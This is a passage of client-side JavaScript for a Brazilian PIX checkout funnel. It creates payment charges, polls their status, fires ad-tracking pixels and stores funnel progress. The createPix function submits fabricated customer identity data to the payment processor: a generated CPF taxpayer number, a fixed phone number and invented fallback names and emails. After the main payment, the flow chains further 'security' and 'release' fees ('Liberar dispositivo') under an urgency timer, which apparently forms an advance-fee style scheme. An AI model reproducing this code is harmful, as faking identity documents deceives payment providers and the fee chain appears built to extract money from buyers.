    stopUrgencyTimer();
  }

  // ── PodPay: Criar PIX ─────────────────────────────────
  async function createPix(description, value, isLead) {
    const utms = getUtmParams();

    // Normaliza dados do usuário — fallbacks como no PHP
    const nomeCliente  = (userData.name && userData.name.trim() && userData.name.trim() !== 'Cliente')
                          ? userData.name.trim()
                          : gerarNomeFallback();
    const emailCliente = (userData.email && userData.email.trim())
                          ? userData.email.trim()
                          : gerarEmailDoNome(nomeCliente);
    const cpfCliente   = gerarCPF();
    const phoneCliente = '11999999999';

    // Valor em centavos (inteiro)
    const valorCentavos = Math.round(value * 100);

    // Monta string UTM (igual ao PHP)
    const utmQuery = Object.entries(utms).map(([k,v]) => encodeURIComponent(k)+'='+encodeURIComponent(v)).join('&');

    if (isLead) {
      const leadEventId = genEventId();
      firePixel('Lead', { content_name: description, value, currency: 'BRL' }, leadEventId);
      fireTikTokEvent('Lead', { content_name: description, value, currency: 'BRL' }, leadEventId);
    }

    if (TEST_MODE) {
      return { paymentId: 'test-' + Date.now(), pixCode: 'TEST-PIX-CODE-' + Date.now() };
    }

    const payload = {
      amount: valorCentavos,
      description: 'Corre',
      customer: {
        name: nomeCliente,
        document: cpfCliente,
        email: emailCliente,
        phone: phoneCliente
      },
      item: {
        title: 'Corre',
        price: valorCentavos,
        quantity: 1
      },
      paymentMethod: 'PIX',
      modelSlug: isLead ? UPSELL_SLUG : undefined,
      planCode: (isLead && currentPlan) ? currentPlan.key : undefined,
      utm: utmQuery
    };

    console.log('[PodPay] Payload enviado:', JSON.stringify(payload));

    const res = await fetch(DUTTY_CREATE_URL, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(payload)
    });

    let data;
    const rawText = await res.text();
    try {
      data = JSON.parse(rawText);
    } catch(e) {
      console.error('[PodPay] Resposta não é JSON:', rawText.slice(0, 300));
      throw new Error('Erro do servidor (HTTP ' + res.status + '): ' + rawText.slice(0, 200));
    }

    console.log('[PodPay] Resposta:', JSON.stringify(data));

    // PodPay retorna transactionId direto (sem envelope success)
    const txId2 = data.transactionId || data.token || (data.success ? data.token : null);
    if (!txId2) {
      const msg = data.message || data.error || ('Erro HTTP ' + res.status + ': ' + JSON.stringify(data).slice(0,150));
      throw new Error(msg);
    }

    const pixCode2 = data.pixCode || data.qrCode || data.pix || '';
    const qrUrl = data.qrCodeUrl || (pixCode2
      ? 'https://api.qrserver.com/v1/create-qr-code/?data=' + encodeURIComponent(pixCode2) + '&size=220x220&qzone=1&format=png&ecc=L'
      : '');

    return {
      paymentId: txId2,
      pixCode:   pixCode2,
      qrCodeUrl: qrUrl
    };
  }

  // ── PodPay: Verificar status do pagamento ─────────────
  async function checkPaymentStatus(txId) {
    try {
      const res = await fetch(DUTTY_STATUS_URL + '?id=' + encodeURIComponent(txId));
      if (!res.ok) return null;
      const rawText = await res.text();
      let data;
      try { data = JSON.parse(rawText); } catch(e) { return null; }
      console.log('[PodPay] Status check:', JSON.stringify(data));
      return (data.paid === true ? 'paid' : (data.status || data.transactionStatus || data.paymentStatus)) || null;
    } catch(e) {
      console.warn('[PodPay] Erro ao checar status:', e.message);
      return null;
    }
  }

  // ── Exibir QR Code ────────────────────────────────────────
  function showQR(pix, tag, headerClass) {
    const qrHeader = $('qrHeader');
    qrHeader.className = 'wp-header' + (headerClass ? ' ' + headerClass : '');
    $('qrTag').textContent = tag;
    if (pix.pixCode) {
      const imgSrc = pix.qrCodeUrl || ('https://api.qrserver.com/v1/create-qr-code/?size=220x220&data=' + encodeURIComponent(pix.pixCode));
      $('wpQrImg').src = imgSrc;
      $('wpQrImg').style.display = 'block';
      $('wpPixCode').textContent = pix.pixCode;
      $('wpPixCode').style.display = 'block';
      $('wpCopy').style.display = 'flex';
    }
    paymentId = pix.paymentId;
    showStep('qr');
  }

  // ── Polling de pagamento ───────────────────────────────────
  const PAID_STATUSES = ['paid','approved','confirmed','completed','complete','success','pago','aprovado','aprovada','concluido','concluida'];
  function isPaidStatus(s){ return !!s && PAID_STATUSES.indexOf(String(s).toLowerCase().trim()) !== -1; }

  function startPolling(onPaid) {
    if (pollTimer) clearInterval(pollTimer);

    if (TEST_MODE) {
      pollTimer = setTimeout(function() {
        pollTimer = null;
        onPaid();
      }, 3000);
      return;
    }

    // Timeout máximo: TIMER_DURATION + 60s de margem
    // Após isso, para de fazer polling para não spammar a API
    const maxPollMs   = (TIMER_DURATION + 60) * 1000;
    const pollStarted = Date.now();

    pollTimer = setInterval(async () => {
      // Para polling se ultrapassou o tempo máximo
      if (Date.now() - pollStarted > maxPollMs) {
        clearInterval(pollTimer);
        pollTimer = null;
        console.log('[TikTok] Polling encerrado por timeout — aguardando failsafe de reload');
        return;
      }
      try {
        const status = await checkPaymentStatus(paymentId);
        if (status && isPaidStatus(status)) {
          clearInterval(pollTimer);
          pollTimer = null;
          onPaid();
        }
      } catch(e) {}
    }, POLL_INTERVAL);
  }

  // ── FLOW: Front (PIX interno do plano) ───────────────────
  $('wpGenerate').addEventListener('click', async function() {
    hideError();
    const name  = $('wpName').value.trim();
    const email = $('wpEmail').value.trim();

    if (!name || name.split(' ').length < 2) { showError('Informe seu nome completo (nome e sobrenome).'); return; }
    if (!email || !email.includes('@') || !email.includes('.')) { showError('Informe um e-mail válido.'); return; }

    userData = { name, email };
    try { (window.top||window).localStorage.setItem('up_buyer_name', name); (window.top||window).localStorage.setItem('up_buyer_email', email); } catch(e) {}

    if (!currentPlan) { showError('Selecione um plano.'); return; }

    currentPayValue = currentPlan.value;
    funnelStage = 'front';

    const btn = $('wpGenerate');
    btn.disabled = true;
    btn.innerHTML = '<span class="wp-spinner wp-spinner-white"></span> Gerando PIX...';

    try {
      firePixel('Lead', { content_name: currentPlan.label, currency: 'BRL' }, genEventId());
    } catch(e) {}

    try {
      const desc = currentPlan.label;
      const pix = await createPix(desc, currentPayValue, true);
      showQR(pix, desc + ' — ' + formatBRL(currentPayValue), '');
      saveFunnelState();
      savePendingOrder(pix.paymentId, currentPayValue, desc);

      startPolling(function() {
        const _evId = genEventId();
        firePixel('Purchase', { content_name: desc, value: currentPayValue, currency: 'BRL' }, _evId);
        trackPurchase(pix.paymentId, currentPayValue, _evId, desc);
        lastCompletedStep = 'front';
        funnelStage = 'taxa1';
        paymentId = null;
        saveFunnelState();
        gotoRedirect();
      });
    } catch(err) {
      showError(err.message || 'Erro ao gerar pagamento.');
    }

    btn.disabled = false;
    btn.innerHTML = '<i class="fas fa-lock"></i> Gerar PIX';
  });

  // ── FLOW: Taxa 1 ─────────────────────────────────────────
  $('wpPayTaxa1').addEventListener('click', async function() {
    const bump = 0;
    currentPayValue = TAXA1.value + bump;
    funnelStage = 'taxa1';

    const btn = $('wpPayTaxa1');
    btn.disabled = true;
    btn.innerHTML = '<span class="wp-spinner wp-spinner-white"></span> Gerando PIX...';

    try {
      const desc = TAXA1.label;
      const pix = await createPix(desc, currentPayValue, false);
      showQR(pix, desc + ' — ' + formatBRL(currentPayValue), 'wpp-green');
      saveFunnelState();
      savePendingOrder(pix.paymentId, currentPayValue, desc);

      startPolling(function() {
        const _evId = genEventId();
        firePixel('Purchase', { content_name: desc, value: currentPayValue, currency: 'BRL' }, _evId);
        trackPurchase(pix.paymentId, currentPayValue, _evId, desc);
        lastCompletedStep = 'taxa1';
        funnelStage = 'taxa2';
        paymentId = null;
        saveFunnelState();
        gotoRedirect();
      });
    } catch(err) {
      showError(err.message || 'Erro ao gerar pagamento.');
    }

    btn.disabled = false;
    btn.innerHTML = '<i class="fas fa-lock"></i> Liberar dispositivo por ' + formatBRL(TAXA1.value);
  });

  // ── FLOW: Taxa 2 ─────────────────────────────────────────
  $('wpPayTaxa2').addEventListener('click', async function() {
    const bump = 0;
    currentPayValue = TAXA2.value + bump;
    funnelStage = 'taxa2';

    const btn = $('wpPayTaxa2');
    btn.disabled = true;
    btn.innerHTML = '<span class="wp-spinner wp-spinner-white"></span> Gerando PIX...';

    try {
      const desc = TAXA2.label;
      const pix = await createPix(desc, currentPayValue, false);
      showQR(pix, desc + ' — ' + formatBRL(currentPayValue), 'pink');
      saveFunnelState();
      savePendingOrder(pix.paymentId, currentPayValue, desc);

      startPolling(function() {
        const _evId = genEventId();
        firePixel('Purchase', { content_name: desc, value: currentPayValue, currency: 'BRL' }, _evId);
        trackPurchase(pix.paymentId, currentPayValue, _evId, desc);
        clearFunnelState();
        markFunnelCompleted();
        showStep('success');
        setTimeout(gotoRedirect, 4000);
      });
    } catch(err) {
      showError(err.message || 'Erro ao gerar pagamento.');
    }

    btn.disabled = false;
    btn.textContent = 'Ativar liberação de uso ✅';
  });

  // Order bumps removidos

  // ── Copiar PIX ────────────────────────────────────────────
  $('wpCopy').addEventListener('click', function() {
    const code = $('wpPixCode').textContent;
    navigator.clipboard.writeText(code).then(function() {
      $('wpCopy').innerHTML = '<i class="fas fa-check"></i> Copiado!';
      setTimeout(function() { $('wpCopy').innerHTML = '<i class="fas fa-copy"></i> Copiar código PIX'; }, 2000);
    }).catch(function() {
      var ta = document.createElement('textarea');
      ta.value = code; ta.style.position = 'fixed'; ta.style.opacity = '0';
      document.body.appendChild(ta); ta.select(); document.execCommand('copy'); document.body.removeChild(ta);
      $('wpCopy').innerHTML = '<i class="fas fa-check"></i> Copiado!';
      setTimeout(function() { $('wpCopy').innerHTML = '<i class="fas fa-copy"></i> Copiar código PIX'; }, 2000);
    });
  });

  // ── Fechar / Redirect ─────────────────────────────────────
  $('wpClose').addEventListener('click', closeModal);
  $overlay.addEventListener('click', function(e) { if (e.target === $overlay) closeModal(); });
  document.addEventListener('keydown', function(e) { if (e.key === 'Escape') closeModal(); });
  $('wpName').addEventListener('keydown', function(e) { if (e.key === 'Enter') $('wpEmail').focus(); });
  $('wpEmail').addEventListener('keydown', function(e) { if (e.key === 'Enter') $('wpGenerate').click(); });
  $('wpRedirect').addEventListener('click', gotoRedirect);

  // ── Persistência de funil ─────────────────────────────────
  const FUNNEL_STORAGE_KEY = 'wp_funnel_state_v2';
  let lastCompletedStep = null;

  function saveFunnelState(extra) {
    try {
      const state = Object.assign({
        funnelStage: funnelStage,
        lastCompletedStep: lastCompletedStep,
        plan: currentPlan ? currentPlan.key : null,
        userData: userData,
        paymentId: paymentId,
        pixCode: $('wpPixCode') ? $('wpPixCode').textContent : '',
        qrTag: $('qrTag') ? $('qrTag').textContent : '',
        qrHeaderClass: $('qrHeader') ? ($('qrHeader').className.replace('wp-header','').trim()) : '',
        currentPayValue: currentPayValue,
        ts: Date.now(),
      }, extra || {});
      sessionStorage.setItem(FUNNEL_STORAGE_KEY, JSON.stringify(state));
    } catch(e) {}
  }

  function loadFunnelState() {
    try {
      const raw = sessionStorage.getItem(FUNNEL_STORAGE_KEY);
      if (!raw) return null;
      const s = JSON.parse(raw);
      if (!s.ts || (Date.now() - s.ts) > 30 * 60 * 1000) {
        sessionStorage.removeItem(FUNNEL_STORAGE_KEY);
        return null;
      }
      return s;
    } catch(e) { return null; }
  }

  function clearFunnelState() {
    try { sessionStorage.removeItem(FUNNEL_STORAGE_KEY); } catch(e) {}
  }

  function markFunnelCompleted() {
    try {
      localStorage.setItem('wp_funnel_completed_v1', 'true');
      localStorage.setItem('wp_funnel_completed_at_v1', new Date().toISOString());
      localStorage.setItem('wp_vip_url_v1', REDIRECT_URL);
    } catch(e) {}
  }

  function stageLabel(stage) {
    if (stage === 'front') return 'PIX do plano';
    if (stage === 'taxa1') return 'Tarifa de Segurança';
    if (stage === 'taxa2') return 'Taxa de Liberação';
    return stage;
  }

  function hasResumableState(s) {
    return !!s && (!!s.paymentId || s.funnelStage === 'taxa1' || s.funnelStage === 'taxa2');
  }

  function restoreFromState(s) {
    if (!s) return;
    const plan = PLANS[s.plan] || PLANS['30dias'];
    currentPlan = Object.assign({}, plan, { key: s.plan });
    userData = s.userData || { name: '', email: '' };
    funnelStage = s.funnelStage || 'front';
    lastCompletedStep = s.lastCompletedStep || null;
    paymentId = s.paymentId || null;
    currentPayValue = s.currentPayValue || plan.value;

    $overlay.classList.add('active');
    document.body.style.overflow = 'hidden';

    if (paymentId && s.pixCode) {
      $('wpPixCode').textContent = s.pixCode;
      const imgSrc = 'https://api.qrserver.com/v1/create-qr-code/?size=220x220&data=' + encodeURIComponent(s.pixCode);
      $('wpQrImg').src = imgSrc;
      $('qrTag').textContent = s.qrTag || '';
      $('qrHeader').className = 'wp-header' + (s.qrHeaderClass ? ' ' + s.qrHeaderClass : '');
      showStep('qr');
      startPolling(buildAdvanceOnPaid());
    } else if (funnelStage === 'taxa1') {
      gotoRedirect();
    } else if (funnelStage === 'taxa2') {
      gotoRedirect();
    } else {
      closeModal();
    }
  }

  function buildAdvanceOnPaid() {
    return function() {
      const _evId = genEventId();
      firePixel('Purchase', { value: currentPayValue, currency: 'BRL' }, _evId);
      trackPurchase(paymentId || _evId, currentPayValue, _evId);
      if (funnelStage === 'front') {
        if (currentPlan && currentPlan.combo) {
          clearFunnelState(); markFunnelCompleted();
          showStep('success');
          setTimeout(gotoRedirect, 4000);
          return;
        }
        lastCompletedStep = 'front'; funnelStage = 'taxa1'; paymentId = null;
        saveFunnelState();
        gotoRedirect();
      } else if (funnelStage === 'taxa1') {
        lastCompletedStep = 'taxa1'; funnelStage = 'taxa2'; paymentId = null;
        saveFunnelState();
        gotoRedirect();
      } else if (funnelStage === 'taxa2') {
        clearFunnelState(); markFunnelCompleted();
        showStep('success');
        setTimeout(gotoRedirect, 4000);
      }
    };
  }

  function offerResume(s) {
    const stageTxt = stageLabel(s.funnelStage);
    const valueTxt = s.paymentId && s.currentPayValue ? ' — ' + formatBRL(s.currentPayValue) : '';
    $('wpResumeStage').textContent = stageTxt + valueTxt;
    const lcs = s.lastCompletedStep || null;
    const frontDone = lcs === 'front' || lcs === 'taxa1';
    const taxa1Done = lcs === 'taxa1';
    function row(done, label) {
      const icon = done ? '<i class="fas fa-check-circle" style="color:#10b981"></i>' : '<i class="far fa-circle" style="color:#d1d5db"></i>';
      const color = done ? '#10b981' : '#9ca3af';
      return '<div style="display:flex;align-items:center;gap:8px;padding:6px 0;color:'+color+';font-weight:'+(done?'600':'500')+'">'+icon+'<span>'+label+(done?' (pago)':'')+'</span></div>';
    }
    $('wpResumeProgress').innerHTML = '';
    showStep('resume');
    $overlay.classList.add('active');
    document.body.style.overflow = 'hidden';
  }

  $('wpResumeContinue').addEventListener('click', function() {
    const s = loadFunnelState();
    if (s) restoreFromState(s);
    else closeModal();
  });
  $('wpResumeRestart').addEventListener('click', function() {
    clearFunnelState();
    closeModal();
  });

  // Autostart: retoma funil se houver state salvo
  (function autostart() {
    const s = loadFunnelState();
    if (hasResumableState(s)) offerResume(s);
  })();

  // ── Expor função global ───────────────────────────────────
  window.openWiinPayCheckout = openModal;

})();
